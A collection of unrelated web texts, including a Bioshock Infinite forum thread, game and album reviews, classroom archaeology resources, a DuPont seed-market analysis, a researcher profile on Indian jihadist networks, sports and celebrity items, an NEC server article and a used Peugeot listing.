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A harrowing fact for many games developers is that many gamers simply don't get to see the ending of their games for whatever reasons.
I only stop playing games if they get boring before it's over. I played the timed trial for Bioshock Infinite and was blown away in one hour. I WILL see the ending when I buy it.
No spoilers here but the ending completely changed my whole perspective on the game. Definitely a game worthy of finishing.
Spoiler here.
Bruce Willis was dead all along.
This game was meant to be finished multiple times. Forget just finishing the game once, You need to beat it at least twice. The subtlety of foreshadowing in this game is done with so much detail. I'm amazed at how delicate the game really is.
What's really gonna blow your mind is when you play the game over and realize that they were building up toward that ending through the entire narrative.
I thought it was off the wall too, but then...it just makes so much sense going through it again.
@ da_2pacalypse: Not if you have a good memory and can remember pretty much anything from the game including every audiolog xDD Like I found all but 2 :( and I don't feel like I forgot anything. I can pretty much remember every moment and they started to make sense now and I was exploring the world really well and saw a lot of other interesting things. But well, I see where you're coming from and I'll definately replay it. Hard was ok, but now I want the 1999 mode.
Edit: The only thing that I kind of forgot while playing it for the first time is when...
Bookers nose is bleeding when talking to Comstock. Later you find out why noses are bleeding, because they are from a different universe and are remembering things and try to make up own memories, because theirs are wrong or not accurate or existent. I thought it was bleeding because of the fight way before that and forgot about it during the game.
Not only isbthis a game u finish but one u r able to play again with a different perspective.
This is a game that most people will finish. It's an amazing game.
It's better than Bioshock and most everyone loved that game including me.
"This is a game that most people will finish."
Statistics say otherwise.
This is N4G. Logic doesn't matter here.
Yes, the majority of games are not finished but really good games with good stories, production values and great game play get finished. Bioshock Infinite is one of them.
Heavy Rain had over 60 percent completion rate.
Most of what makes up your statistics is shooters with multiplayer that have mediocre single player and RPG's because they are long games. A really good game that is 10 to 15 hrs. long will more likely get finished than not. It's just that there aren't many of those these days.
The stats say that over 50% of everyone who played Infinite, finished it.
So, most people have finished the game.
Am I reading this right? 46% completed it on easy, 34% on medium? So 80% completed the game?
I have two friends playing Bioshock: Infinite. One loves it and the other is so bored by it he's considering trading it in without finishing it. He loved the original Bioshock and is underwhelmed by the new one.
I've also stopped playing games to completion that are NOT boring, particularly because I've gotten too accustomed to great games letting me down with terrible final acts.
Didn't the game just come out? Some people have lives and work
i dont get why someone would buy a single player only game like bioshock infinite and 'not' beat it...i cant even....
Yeah I platinumed this game so I've actually seen the ending a couple of times.
Oh my god..this game wasn't long enough..I couldve played it easily for another 8 days
There is replayability. I've played it 4 times using different Infusions an gear, and making different choices.
Isn't it like this for most games? I know a lot of people who always buy games, but never finish them. I finish pretty much 97% of my games. There are some that I just haven't bothered to finish. Don't know why anyone wouldn't finish Infinite tho.
I just finished Bioshock Infinite today. It took me a week on and off.
I am still wrapping my head around the ending. Bioshock Infinite needed the COD crowd to make it profitable and I don't think they will understand the ending. I might be giving them too little credit.
How did we get from "didn't finish the game" to "it wasn't profitable?
P.S The CoD crowd doesn't care about great stories and great gameplay, their idea of fun is reaching their 12th prestige before the next CoD title. Their idea of a good story is alot of shooting and explosions with a grunt with an accent yelling at you all the way.
already played through twice and got all the achievements...also bought the season pass
I got to ask... so what?
From the developers point of view, they're getting paid to make a game, not to see everyone beat the game. Sure it might be disappointing that some people don't make it to the end, but it's not like you take it personally.
From a gamers point of view, if the game is good enough, people will MAKE the time. Back when Borderlands 2 was awesome and we loved Gearbox (seems like ages ago, hard to believe it's only like 5 months @[email protected]), I didn't watch my usual TV programs, didn't play anything else, pretended to be sick for my "pointless" classes (it was photography, missing a day wasn't going to kill me, did go to my important ones), was out of my job / classes ASAP, missed a few meals, all so I could beat Borderlands 2 ASAP. Now replace Borderlands 2 with Dead Space 3 and I could have gone MONTHS without playing it and been okay, because I really just didn't care.
From a publishers point of view, cash is cash.
Anyway, thanks to sites like YouTube, none of these figures really matter. I can easily watch all the cutscenes for BioShock Infinite or any other game without having to actually play the game. Sure it's not the same, but for some people it's enough.
I do that with games that are good but are on the other platform (i.e. Alan Wake, Halo 4, etc)
Aw, come on, it's understandable why someone who's poured ungodly amounts of time and work into creation would people to actually see all of it.
Screw you article I am gonna go beat it now!
here a bubble just because you're a spontaneous joyful little grasshopper that isn't spoiled yet.
Thank you :) but I am not a little teen boy anymore though that was once upon a time ago.
If a game is good people will finish it. The fact is that most games are not good.
Is Bioshock:Infinite a game people will finish? I hope so because the story is great. But the old school shoot wave after wave will make many never experience the full story.
And I perfectly understand that.
Not only that but it seems that the story really picks up in the second half or near the end.
Prior to that there is mostly gunning enemies between tiny bits of story progression. Being really drawn out, or possibly not really balanced in terms of gameplay and story, can push players away.
That's exactly what I'm going through now. The story seems good but the gameplay is VERY boring and repetitive. It's the same thing over and over again.
I want to finish it for the story but I'm not having fun doing it. I've already played this type of game before ("gunning enemies between tiny bits of story progression").
I think the game is over rated. It's not a 10/10.
Hmmm...interesting. I was afraid Bioshock Infinite might have been overrated (I haven't played it myself). The same was done about Dishonored and Ni No Kuni recently.
Take a look at sandman224s profile and some of his comments before you consider his opinion to be valid.
On Bioshock Infinite:
"I played an hour of this game on ps3, I love the art and story, but I dont think its a perfect game. I have more fun playing gears of war judgement and god of war ascension multiplayer."
""My favorite. Call of duty, Killzone, and Halo."
sandman224 seems to be a multiplayer gamer. Which is fine, nothing wrong with that, but I would take his opinion on a single player game such as bioshock with a grain of salt.
I agree, it is more of a 9 to me.
While the story is a 10/10, the rest isn't (does not mean it is bad).
The story is a 10 but the gameplay is probably close to a 6 or 7 for me. There's absolutely nothing new or innovative about the gameplay. The original may have even been better due to having to research enemies to understand their weaknesses and using the corresponding power. The graphics engine is also starting to show its age. I have no idea how some people/places could give this a 10. That would mean it's perfect and it is not.
I haven't played it, but the reports I'm getting from my friends who are make me inclined to agree that it is at least a little overrated. Anyway there's no such thing as perfection, so 10/10 is out of the question right away.
I guess we just have to read "it's a 10 because it's better than the last 10 games over past 2 months which received 9".
Seems that we got to a point where everything popular about games is banalized. I just ignore mainstream reviews (IGN, GS, etc) since they just help this unfortunate marketing machine.
There are good sites around (Destructoid, Joystiq, GR are some for my personal critical taste, amongst other smaller/specific ones/blogs) giving nice perspectives about AAA games, you just have to read with patience.
Rating-based-focused reviews give you what you want: if you are the superficial kind of gamer and reader that's a perfect match. If you're a critical gamer and superficial reader then #dealwithit, it's the worst scenario, I wonder if it isn't better just to buy the game blindly and taste it without any pre-reading on reviews and whatnot - at least you'll have some fun.
I've actually have tried the buying blindly approach. It was meh...
Reviews do help; but what helps best is seriously just reading comments from sites like this one. Just paying attention to what people are saying.
So unless you beat the game in the first week, you never will?
This. It's almost like you're not allowed to take your time and enjoy games anymore. I still get grief for the fact I haven't finished Tomb Raider yet - I'm making the experience last, people!
Why would you buy a game and Not finish it? That's like buying a bunch of movies and only finishing half of them. I'm surprised so many gamers are wasting their hard earned money like this.
People do it for some reason.
Remember, most of the world is not very smart.
A film is a 2-3 hour investment. Most games are 3-4 times that amount of time and if the game turns out to be poor you may not be inclined to finish it. If you started watching a tv series on dvd that was 20 eposodes long and 5 episodes in you'd lost interest would you watch the other 15?
On my 3rd Infinite playthrough. Still love it.
Why third?. O.O , Platinum only take 2 playthrough ..
There are just a handful of games this generation that I have purchased at full retail cost and just stopped playing before finishing. Far Cry 2 because the shooting was terrible, God of War 3 because I got bored, Crackdown 2 because it was nowhere near as good as the first, Halo ODST because it was too repetitive, Too Human because it was just a bad game, and Dark Souls because I don't play games for frustration (oh, the "hardcore" will hate me for that one,lol), and GTA 4, which to me is the most overrated game this gen. That being said, I'm almost done with Bioshock Infinite, as I love the series and wanted to savor the experience.
This was one of the games i just couldn't put down. early hours of the morning, tired eyes, desperate to complete it.
As I got towards the end I had to stop and wait for a time when the missus was out with the dogs... Didnt want any interruptions.
"Yes honey, I love you too, now can you please go out for the next hour?"
You would be have to be from another planet, not to finish this game. I finished the game two nights ago and all I can say is that the game is a Must Get and Must Buy. The story is phenomenal. I am replaying it in 1999 mode. Trying to pick up the things I missed.
I think there was one game or two that I didn't bother playing all the way through. I think that was GhostRider? It was trying to be a God of War and DMC knock off and it got boring after some motorcycle portions.
Still waiting on a patch to fix all the stuttering on PC, know a few people doing the same. If theres one thing I can't stand in games is stuttering, and would rather wait for a fix and experience the game properly.
I only finish the game because of the PS move. It was so much fun playing with that, I couldn't stop. Couldn't get into it with a DS. Didn't care for the story too much but it was interesting.
I actually just finished the PS3 version and while the game is worthy of its scores, I personally thought it was pretty okay.
That would be odd not to finish this game considering it's great from start to finish, and there's no multiplayer mode to steal players' attention.
Your opinion is not the same as others. I have no idea how this game scored so high, it is not a bad game but it is not worthy of what it is receiving in my opinion.
I will finish it but I am in no hurry, linear games wear a bit thin for me after a while. Without the need for my brain that much I quickly lose interest in linear games. The developers have a very limited imagination when it comes to finding loot which is also not so great in a linear game.
Im pretty sure many havent yet finnish it due to the horrible stuttering framerate dips this game haves on PC,and are waiting for a valid patch!Its a known issue and already aknoledge by 2K and Irrational!
my friend beat the game last night and he sucks at games so this bioshock must be really easy if a noob can beat the game.
I don't see how someone cannot be compelled to finish this game, the way it is paced you really get wrapped up in it especially towards the end. The other great thing about this game is once you finish it going back around the second time you'll find yourself saying "ohhhhhh now I get it and That makes sense" a lot as you finally understand all the clues that were thrown at you right from the beginning of the game.
Most people just don't have the time to do it. Even short games might not have a majority completion rate.
I rarely finish games anymore same story different game.
I have beat all three Bioshock games. If the game and story is good, I will beat it!
Meh game was too casual. Casualshock Infinite.
Story is nice and environment is fun. But its way to short compared to the first 2 as well as gameplay depths has lost meaning. Everything is upgraded by money and gear can be switched at any time. Not to mention the whole shields bullshit, made med kits loose meaning if you have a regenerating bar of health. Gun lost the cool upgrades from before. They had cool effect and change how it looked visually, not anymore.
Can someone say casualized?


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Tiki Towers 2: Monkey Republic could have been a really fun game. It's a bridge/tower/structure building game where you're trying to help monkeys reach a certain point on each level. Along the way, you collect all the bananas, use the fewest number of pieces possible, and voila, you've won the game. Unfortunately, it suffers from a number of critical flaws that really suck the fun right out of it.
First among the most egregious of problems is the unresponsive control scheme. Here's a typical scenario: I'm trying to scroll the screen so I can see where I need to put the next building piece, except the game thinks I'm trying to insert a bridge piece and acts accordingly. I delete the piece added by mistake and try scrolling the screen again, except, this time, it's not responding at all. I tap all over the screen, trying to find a spot where I can get it to scroll. This happens again and again until it finally works. Mission accomplished, or so I assume.
I complete the structure and turn the monkeys loose. They screech and hoot and jump all over the place, tearing the structure apart until it crumbles into nothing and I fail to pass the level. So, I rebuild, unleash hell and watch the monkeys either become confused or fall to their deaths, again. At this point, I gently place my phone down on the desk and invoke the healing powers of "Scream Therapy."
When Tiki Towers 2 is on, it's really on. The well-designed characters and wild antics of the monkeys are cute and funny. You really get into the game and have a great time. Then you just hit a little snag here and there, like, where did the sound go? Why can't I erase these pieces? Why did the monkey go off in THAT direction? The banana is RIGHT THERE, just grab it! Why are you monkeys so stupid? WHY?
Strangely enough, I can see how the monkeys jumping around and ripping your hard work to shreds could be considered an extra challenge, and not just a cruel joke. That is, until after redesigning a tower 3 or 4 times, running out of pieces and gently weeping as I realize, I'm going to have to rethink the entire plan. Sometimes, though, the game just works. The structure survives, the monkeys get their bananas and I can move on.
Tiki Towers 2 offers 30 levels of physics and monkeys. You'll find challenges galore, items to help you on your way and levels with multiple solutions leading to branching paths on your way to the end of the game. It's a "World of Goo" clone that, in the end, just makes me wish I were playing "World of Goo" instead. If you have enough patience to see past the flaws and embrace the extra challenges, you might have a lot of fun. As for me, I found little to enjoy as I worked my way through the game.
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Excavation is just one aspect of archaeological inquiry. Because of the provocative images it evokes, teachers often inquire about opportunities for their students to "dig" as a way to engage them in the study of the past. As a teacher, however, you may find it more practical to structure a simulated or "mock" archaeology dig in your classroom, while still fulfilling the educational standards for problem solving and critical thinking. Below are some fine examples of simulated digs. See Artifact Study Kits and Reproductions for additional sources of materials for a classroom dig.
Doing Archaeology in the Classroom: A Sandbox Dig
Developed by an archaeologist, this sandbox dig activity begins with a research question and ends with analysis and interpretation of the site. Activities leading up to the dig include instructions on how to set up a simple archaeological survey on your school grounds, as well as activities and discussion questions on the importance of preserving sites.
Digging Archaeology
Based on an actual archaeological site, this interdisciplinary 6-8 week unit is a standards-based curriculum designed for upper elementary school students. Students examine artifacts and features found on the surface level and then "excavate" the site to discover cultural evidence from 100 years ago. The project includes constructing maps, collecting and analyzing data, formulating hypotheses, and arriving at conclusions based on the data. Resource materials such as historical maps, architectural drawings, a Sears catalogue, and a memoir of a young boy aid students in unraveling the story. The kit is $425. Professional development workshops and seminars are offered throughout the year at various sites, including nature centers, museums, and zoos. A one-day workshop is $125.
Digging Deeper to Learn About the Past by Judith Cochran
An American Schools for Oriental Research (ASOR) teaching unit with directions for conducting your own dig simulation. While directed mainly to middle school students, many of the activities can be used with students of all ages.
Digging Up Mesopotamia by Stephanie Elkins
An American Schools for Oriental Research (ASOR) interdisciplinary unit that includes directions for a class excavation simulation. Developed for 7th & 8th grade students, this unit includes a separate lesson for art classes on the uses of the artist's skills in modern field excavations.


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Tue, 18 Feb 2014 02:12:19 GMT —
A saliva test for teen-age boys with mild depression could help identify those who will later develop major depression.
That's the finding of a new study, in which researchers measured a stress hormone in teen boys. They found that the teens with high levels, coupled with mild depression symptoms, were up to 14 times more likely to suffer clinical depression later in life than were those with low or normal levels of the stress hormone.
The test was tried on teen-age girls, as well as on boys -- but it was found to be most effective with boys.
About one in six people suffer from clinical depression at some point in their lives. Most mental health disorders start before age 24.
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The Waterboys, "An Appointment With Mr. Yeats" (Proper American)
This album sounds much better than the concept. The Waterboys' Mike Scott has written 14 songs using the poetry of W.B. Yeats, and the collaboration shouldn't work — not with such lyrics as "Man-stealer Niamh leant and sighed by Oisin on the grass."
But Scott pulls it off. His rootsy, melodic Gaelic pop, with nods to Coldplay, Sting and Mark Knopfler, magnifies the beauty of Yeats' words and makes them new again.
Scott, the son of a university lecturer in English literature, has been working on these songs for a couple of decades. His devotion to the project shows with an impressive variety of musical approaches.
"Mad as the Mist and Snow" becomes an arena-ready bluesy jig, while "The Faery's Last Song" serves as a lilting benediction. And then there's "News for the Delphic Oracle," which ends with nymphs and satyrs in the throes of passion in the foamy sea. Very rock 'n' roll.


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Flexner on Finishing: Staining Wood
A primer on coloring.
By Bob Flexner
Pages: 60-62
From the December 2010 issue # 187
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Staining wood is adding a colorant (pigment or dye) and a binder (some sort of finish) with a lot of thinner so the excess stain is easy to wipe off. This leaves some color in or on the wood.
A stain can also be just dye and thinner with no binder added.
Pigment is ground earth or colored synthetic particles, so it requires a binder to glue it to the wood. Pigment settles to the bottom of the can and has to be stirred into suspension before use.
Dye is a colorant dissolved in a liquid, so dye penetrates along with the liquid and doesn't need a binder. Coffee and tea are examples of weak dyes.
Article: Learn how to properly sand to prepare your wood for stain.
To buy: Bob's new book, "Flexner on Finishing," includes 12 years' worth of updated finishing columns.
Web site: Read more of our finishing articles.
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Threats from Inside India: Tankel Investigates Indigenous Jihadists
Gliding across the majestic Taj Mahal promenade, hiking the vast Himalayas and basking on the shores of the Arabian Sea in Goa—a summer in India could easily provide an ideal respite to any weary scholar looking to take a break from the rigors of academia. That is, unless you're Professor Stephen Tankel, who traveled to India over the summer not to escape his work, but to immerse himself in it.
"I spent almost every day of the five weeks I was in India and Bangladesh in interviews or meetings," Tankel said. "So it was a very successful trip, but it meant I was really immersed in the research I was doing, with no time for much else."
That's no surprise considering Tankel's impressive resume and extensive credentials. The second-year American University Department of Justice, Law and Society professor specializing in security studies with a focus on political and military affairs in South Asia is also a nonresident scholar at the Carnegie Endowment for International Peace and an adjunct staff member at the RAND Corporation. He recently authored the Columbia University Press-published Storming the World Stage: The Story of Lashkar-e-Taiba, for which he first traveled to South Asia in 2008 during his graduate studies to research the group, which, according to Tankel, "is to India what al-Qaeda is to America."
"Not a lot of researchers had cared about Lashkar-e-Taiba before [the 2008 bombings in Mumbai] and my thesis advisor suggested I put my thesis research on hold and write a book about it," Tankel said. "And over time I became more immersed in the region, its politics, and the various security issues there."
Four years later, Tankel's interest in terrorism and insurgency among non-state players in South Asia has grown and evolved; this past summer, on a grant from the National Defense University, Tankel spent five weeks researching the nature of the threat to India from its own indigenous jihadists and the role that regional actors like Pakistan and Bangladesh play in the movement.
"A number of the Indian mujahideen— which is the label for the network of modules currently active in India—linked up with groups supported by the Pakistani state as proxies against India and received training—explosives, recon, counter-intelligence—as well as money and logistical support," Tankel said. "It was with this help that they became a much more lethal force."
Tankel explained that in the past, the Indian mujahideen had used foreign materials to create explosives, but are increasingly using indigenous materials. This theoretically reduces the mujahideen's reliance on either Pakistan or Pakistan-based militant groups. The Indian authorities, however, argue that Pakistan is still providing safe haven to Indian mujahideen fugitives, in addition to funds and support from abroad.
While stressing that the Indian mujahideen is far from an existential threat to India, Tankel explained that jihadists indigenous to India are nevertheless a force that should be taken seriously. "First, from a U.S. perspective, there is concern these actors provide a means of attacking U.S. interests in South Asia. Second, because of Pakistani support for this movement, they are another barrier to normalizing relations between India and Pakistan. Third, they are symptomatic of some of the wider problems India is facing in terms of economic inequality, poor governance and policing, communal tensions, and capacity problems," said Tankel. He added, "India is working on reforming its counterterrorism infrastructure and policies, but there's a long way to go."
Tankel spent months preparing for his trip and dedicated his summer to learning as much as he could about the Indian mujahideen. Though Tankel was based in New Delhi, he traveled to Mumbai, Bangalore, Hyderabad, and Chennai in India, and Dhaka in Bangladesh to interview senior security officials, military personnel, intelligence officials, police officers, journalists, diplomats, community leaders, and members of various think tanks. With the help of a team of U.S.-based graduate students to assist with additional desk-based research, Tankel plans to funnel his research into several academic papers and policy reports, as well as a monograph, in the coming months.
But his stint in India wasn't entirely all work and no play—Professor Tankel had a few days to himself to soak in the scenery after all.
"I'm always warmly welcomed in South Asia—be it Bangladesh, India, or Pakistan— even though my research touches on sensitive issues for some folks there," he said. "It was great to catch up with the growing number of friends and colleagues I have there. And being able to stay at the Taj Mahal Palace and eat at the Leopold Café, both of which are in Mumbai and were attacked in 2008, was definitely a highlight. It was great to see them full of people and to give them my business."


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DuPont (NYSE:DD), the world's second largest seed producer after Monsanto (NYSE:MON), has seen impressive growth in agricultural science products in recent years driven by strong industry fundamentals and increased adoption of genetically modified (GM) seeds. Biotech crops are considered the fastest adopted crop technology in the history of modern agriculture. Since the commercialization of biotech crops in 1996, the global area under cultivation of these crops grew impressively at a CAGR of 37% to 160 million hectares in 2011 and the positive trend still continues. [1]
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- DuPont Earnings Reaffirm Our Stance
- DuPont Will Continue To See Robust Growth
- Revisiting Dow-DuPont Merger Motivation As The Companies Win U.S. Anti-Trust Approval
- Why Agriculture Business Is So Important For DuPont?
- DuPont Earnings: Earnings Beat, Strong Momentum Drive Stock Up
- DuPont Earnings Preview: Will Pricing Pressure Ease Up And Lead To Growth?
Glyphosate-based herbicides are used widely for weed control because they are non-selective like the Roundup marketed by Monsanto; however, the chemical also negatively impacts the crop. The Roundup Ready (RR) variety of GM seeds made by Monsanto was specifically engineered to be tolerant to glyphosate. This variety allowed farmers to spray the herbicide over the top of the growing crop, killing all the weeds without affecting the crop. The RR variety of seeds was very successful and went on to become the world's most widely grown GM seed.
More than 90% of soybean grown in the United States contains Monsanto's Roundup Ready gene. In attempts to create its own variety of glyphosate resistant seeds, DuPont was alleged to have used the RR gene. In May 2009, Monsanto filed a patent infringement suit against DuPont. The suit was aimed at forcing DuPont to shelve a herbicide-resistant Optimum GAT soybean seed, which used Monsanto's RR gene. In July 2012, the eight-person jury in the United States District Court in St. Louis awarded $1 billion in damages to Monsanto. [2]
Advantage in the Drought Resistant Category
The drought resistant trait is another technology expected to be a huge playground for the GM seed industry. As of now, DuPont seems to have a slight advantage in this game as it is the first to announce performance results of its Optimum Aquamax corn hybrid. The company announced that its Optimum Aquamax seeds provided a yield advantage of almost 9% in water-limited environments based on 3,606 comparisons of average yield results with other competitive hybrids in the market. According to DuPont, Optimum Aquamax showed a higher yield in 69% of comparisons under water-limited conditions. [3] DuPont also introduced new varieties of soybean seeds earlier this year. (See: Dupont Looks At Extending Market Share With New Soybean T Series Seeds)
See Our Complete Analysis for DuPont
The global corn, soybean and other seed market is fast evolving led by advancements in GM seed technologies, which implies that innovation holds the key to success of any player in the market. If DuPont is able to leverage this rapidly growing GM seeds market through innovative seed varieties, it will not only help the company extend its market share but also improve profitability through additional patent licensing revenues.
We currently forecast DuPont's market share to grow marginally by 2% over our forecast period, primarily led by consolidation in the global seed industry. However, if the company is able to expand its market share to around 30% over the same period, it would imply 10% upside to our current price estimate.
Understand How a Company's Products Impact its Stock Price at TrefisNotes:
- Global Status of Commercialized Biotech/GM Crops in 2011, isaaa.org [↩]
- Monsanto Wins Big Award in a Biotech Patent Case, August 2012, NY Times [↩]
- Optimum AQUAmax Product 2012 Yield Data, Pioneer.com [↩]


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On these pages you can find out about how regeneration is affecting each area of North Solihull.
Here is the best place to keep up to date on everything that's going on, what plans we've made and how local people can help shape the plans for the future.
How are you affected by regeneration?
Click on the map to select the area your home or business is in.
Planning regeneration
For the regeneration project to be a success it is important to involve local people at every stage, so they can shape the future of their own neighbourhood.
So far we have planned 3 neighbourhoods Craig Croft, North Arran Way and Kingshurst and Babbs Mill and have developed a masterplan for each area.
Following our review of the strategic framework in 2009 the process for planning a neighbourhood and developing a spatial masterplan is now an approach based on clusters.
For more information about our plans for an area click on the map
The Cole Valley Vision
In Spring 2010 Alan Baxter and John Thompson and Partners (JTP) were appointed by the North Solihull Partnership to work with the local community to develop a new masterplan for the area, which is being referred to as the Cole Valley Vision.
Cole Valley Drop-in Exhibition
We held a public drop-in exhibition on Saturday, 27th October 2012 which was very well attended. We had almost 200 people come to see our masterplan for the Cole Valley, including sites proposed for new housing development, improvements to green space and proposed changes to the Chester Road and Moorend Avenue.
Since the drop in exhibition we have been carrying out further technical and design work which will be concluded in Autumn 2014.
Smith's Wood
In the future a master plan for the Lanchester cluster will be developed alongside the community and stakeholders and everyone within the cluster will have an opportunity to have their say. Significant investment has already been committed to this cluster: The new Lanchester School has opened Park Hall School has been redeveloped under the Building Schools for the future (BSF) programme and opened in October 2008 Over £500,000 invested into improving Lanchester Park Construction of 44 new homes completed on the Oaklands development In 2005, we worked with residents to develop a Neighbourhood plan for this area which was approved by the Council in November 2005.
Chelmsley Wood
Following the strategic framework review which was agreed in June 2009 we are planning the regeneration based on a cluster approach which focuses on bringing forward regeneration activities centred around large scale investments such as new schools and villages centres.
Kingshurst and Fordbridge
In 2005, we worked with local people and businesses to develop a Neighbourhood plan for the Kingshurst and Babbs Mill neighbourhoods. The Neighbourhood plan identified the physical regeneration plans for the area which included identifying some properties for demolition and new housing sites.


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21 Times the UFC Proved They Cared More About Entertainment Than Sport
(#22: Building doors out of wet cardboard for dramatic effect.)
The UFC is not a sports organization. They're an entertainment company that dabbles in athletic competition. Here's the proof:
1. Firing Jake Shields.
2. Firing Yushin Okami.
3. Firing Jon Fitch.
4. Not firing Dan Hardy ("I like guys who WAR")
5. Giving Chael Sonnen a title shot coming off a loss.
6. Giving Nick Diaz a title shot coming off a loss.
7. Bringing a 1-0 Brock Lesnar into the UFC.
8. James Toney.
9. Signing Sean Gannon after he beat Kimbo Slice via exhaustion in an illegal bare-knuckle street fight.
10. Putting Kimbo Slice on a main card after he went 0-1 in the TUF House.Read More DIGG THIS


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Lately, the market seems to have gotten a bad rap. People are downright gloomy and I've read a number of articles saying "the end is near."
But, in looking at a chart of the S&P, I don't see it. To the contrary, the market just broke from short-term congestion and is making new yearly highs.
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The "end" may well be near, but for now the bulls remain in control.
You can't go five minutes these days without someone talking about Facebook (NASDAQ:FB). Ever since it came out, my advice was to stay away from it: I just didn't have enough information (from the chart) to say if it was a good or bad bet. And "bet" is accurate, because I think the company is still too new to tell if it can justify its valuation.
But now, I'm starting to have second thoughts, primarily because there's almost universal contempt for the stock. Beyond that, typically when stocks of this volatility -- think stocks like Netflix (NASDAQ:NFLX) -- drop 30% from recent highs, it's a good time to buy. If you use the June highs, FB has done that, and it may be time to weigh in.
Again, this is pure speculation and a buy certainly isn't justified via the charts. On the other hand, if you're patient, it may pay off.
Maybe the polar opposite of FB is Procter & Gamble (NYSE:PG). I noticed Warren Buffett was dumping it, but I still like it (and own it). For new purchases, you might wait for a break above resistance. Once it does that, it should make a nice run.


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2010: Notched her first kill of the season August 28 against Rutgers.
2009: Appeared in 16 matches for the Pioneers in her freshman season...Dropped in four service aces off the bench...Played in her first career match August 29 against Fairfield.
High School: Attended Patchogue-Medford high school, playing three years of varsity volleyball and four seasons of softball...Served as captain of the volleyball team in both her junior and senior year...Named to all-league and all-tournament teams for volleyball in three straight seasons...Three-time all-league selection for softball...Named "Most Athletic Senior" at Patchogue-Medford high school...Member of national, Spanish national, and social studies honor societies.
Personal: Nicole Rae Morales. Born: 5/22/91 Parents: Marianne and Vincent Palumbo and Ray Morales. Siblings: Jared Morales. Favorite Teams New York Mets. Favorite Athletes: Phil Dalhausser and Todd Rogers. Favorite Books: Twilight Series. Favorite Movie: The Lion King. Favorite TV Show: House. Favorite Food: Seafood. Hobbies: Scuba diving, snowboarding, and surfing. Plans to attend law school after graduation.


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Some fine bucks come out of Florida each year and over the years there have been some good ones, but Marissa Ballard definitely has a head-turner!
Stan Kirkland, public information officer with the Florida Fish and Wildlife Commission, related the info to The Archery Wire about Ballard's bowhunting success. She and her husband, Dusty, of Grand Ridge, were hunting on their lease in Jackson County.
Marissa, a fourth grade teacher at Sneads Elementary School, arrowed this super buck with her Bear compound last October! Kirkland said she was shooting the bow at 45 pounds and only takes shots within 15 yards of her stand. It weighed 190 pounds and has 10 points that scored 130 2/8 typical with the Boone and Crockett scoring system.
Kirkland said the buck had only 2 6/8 inches deductions, "which in all my years of scoring is probably the fewest inches of deductions on a larger rack I've ever seen. She will almost certainly join a small list of only two dozen or so bowhunters from Florida who have taken Pope and Young deer – typical bucks must score 125 or above. I'll check but she may be the only female on that list."
Here's a huge D&DH "salute!" to Marissa for her great buck!


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While Michael Lynche was on the verge of a career breakthrough during season 9's Hollywood Week of American Idol, his wife Christa was about to give birth to their first child.
When daughter Laila Rose arrived on Jan. 13, 2010, Lynche cried with joy over the phone — and on television.
Now the family has added a new member — and this time, all were present for the arrival of Kingston Michael Lynche, born Tuesday, Feb. 22 in New York City, weighing in at a healthy 7.25 lbs.
"We go home Thursday morning," an elated Lynche, 28, reports to PEOPLE. "Much different experience than last time! No issues at all."
Courtesy Michael Lynche
Since coming in fourth place on American Idol, Lynche has been working on a debut album he will release this spring on Big 3 Records, doing charity work in his native St. Petersburg, Fla., and touring.
"The best part of life after Idol has been my wife Christa and my baby Laila getting to travel everywhere with me," Lynche says. "Now that we're adding a new little one to our family, we couldn't be happier!"
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While their timing may not seem the best considering the current state of the economy, NEC, the well known technology manufacturer based in Japan has entered the U.S. server market with a line of impressive new servers including the record setting NEC 5800/A1160. NEC is no new comer to the server market having offered systems in Japan for many years. They have also acted as OEM for several other well known server brands here in the U.S. At this past PASS I met with Mike Mitsch, General Manager of NEC's Enterprise Server Division and then had a later briefing with Mike Heller, Senior Account Executive, Enterprise Servers who informed about some of NEC's recent moves in the US server market. While they are well known in Japan NEC has only been offering servers in the U.S. since April of 2008.
At past PASS NEC announced that their NEC 5800/A1160, aka Monster Xeon Server, was the first server to achieve a mark of 1,400 tpsE on the TPC-E benchmark. This benchmark was achieved using a 12 CPU (64-cores) NEC 5008/A1160 with 384 GB of RAM. The NEC system was running Windows Server 2008 Datacenter x64 and SQL Server 2008 Enterprise x64. The 5800/A1160 is one of the first enterprise systems to make use of the Intel's new 6 core 7400 series of CPU's (code named Dunnington). The NEC 5800/A1160 system can scale from 1-node, 4-sockets, 16-cores, and 256 GB memory, to 4-nodes, 16-sockets, and 96-cores and 1TB memory.
The NEC server line uses only Intel CPUs. Notably, they also offer an Itanium-based 5800/1000 server which is something of rarity these days. The 5800/1000 supports dynamic hardware partitioning which allows hot add of processors and memory based on thresholds and policies of the running OS partition.
In addition, to their standard enterprise server line NEC also offers Fault Tolerant Servers like the NEC Express 5800/300 which offer full internal hardware redundancy and provides 99.999% system uptime. They also offer their line 5800/100 series of Blade Servers as well as the SMB oriented 3800/100 line of rack and tower servers.
While at present they aren't well known here, NEC offers an enterprise ready server line that's certainly comparable to IBM, HP and DELL. Look for a review of one of the NEC server in an upcoming issue of Windows IT Pro magazine. Untill then you can peruse the models in NECs new server line at: http://www.necam.com/servers/


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Peugeot 107 1.0 Allure 5Dr Petrol Hatchback
Mileage: 45,621
Trans: Manual
Body: Hatchback Year: 13/13
Colour: White
Fuel Type: Petrol
Quote Reference Number: 048-507332
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- Insurance Group3E
- Performance (BHP)68
- Number of Seats4
- CO2 (g/km)99
- Road Tax£0
|Body Glass
|Electric front windows
|Tinted glass
|Manual rear window popouts
|Tinted rear windows
|Heated rear window+rear wash/wipe
|Single 2 speed front intermittent wiper
|Single piece tinted glass rear tailgate with push button release
|ABS with EBFD + cornering stability control
|Driver Aids
|PAS - speed related
|Driver Convenience
|Remote headlamp adjustment from fascia
|Driver Information
|Rev counter
|Lights on warning
|Digital clock
|ABS check/warning light
|Speedo with digital odometer/digital trip recorder
|Oil level indicator
|Handbrake/brake fluid warning light
|Coolant temperature indicator
|Driving Mirrors
|Internally adjustable door mirrors
|Facia integrated, coded radio/CD with digital clock
|4 speakers
|CD storage in centre console
|Stereo radio/mono CD with aux socket for MP3 Player
|Peugeot connect with USB and bluetooth
|Exterior Body Features
|Body colour door handles
|Black side rubbing strips
|Body colour front/rear bumper aprons
|Chromed front bumper
|Front mounted radio aerial
|Side impact absorbent door protection
|Exterior Lights
|Front fog lights
|Interior headlamp level adjustment
|LED daytime running lights
|2 rear number plate illumination lights
|4 speed heater fan
|Air con with air recirculation and pollen filter
|Interior Features
|Leather steering wheel/gear knob/gaiter
|Luggage cover
|Height adjustable steering wheel
|Rear parcel shelf
|Centre console storage
|Front and rear door bins
|12V Accessory socket
|Front/rear armrests within door panels
|Under steering wheel storage
|Cupholders in centre console
|Dashboard storage
